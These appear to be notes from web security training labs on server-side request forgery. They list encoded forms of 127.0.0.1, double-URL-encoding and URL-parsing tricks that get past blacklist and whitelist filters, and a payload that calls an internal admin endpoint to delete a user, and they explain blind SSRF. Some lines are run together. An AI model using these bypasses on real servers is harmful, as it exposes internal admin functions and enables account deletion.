In this lab we don’t know the exact IP address where the admin interface is hosted, so we try to send the request to Intruder and enumerate the last octet of the IP address. Based on the responses we will know the correct IP address.
SSRF with blacklist-based input filter
Use the following
127.0.0.1
2130706433
017700000001
127.1
Register your own domain name that resolves to 127.0.0.1. You can use spoofed.burpcollaborator.net for this purpose.
We try http://127.0.0.1, it does not work. http://127.1/admin still nothing.
Double URL encoding helps us bypass blacklist: http://127.1/%2561dmin
First we try
127.0.0.1http://username@stock.weliketoshop.net/http://username#@stock.weliketoshop.net gets 500 indicating server tried to process it
http://localhost:80%2523@stock.weliketoshop.net/admin/delete?username=carlos
When the response of an SSRF vulnerability is not received on attacker’s end. It is common when testing for SSRF vulnerabilities to observe a DNS look-up for the supplied Collaborator domain, but no subsequent HTTP request. This typically happens because the application attempted to make an HTTP request to the domain, which caused the initial DNS lookup, but the actual HTTP request was blocked by network-level filtering. It is relatively common for infrastructure to allow outbound DNS traffic, since this is needed for so many purposes, but block HTTP connections to unexpected destinations.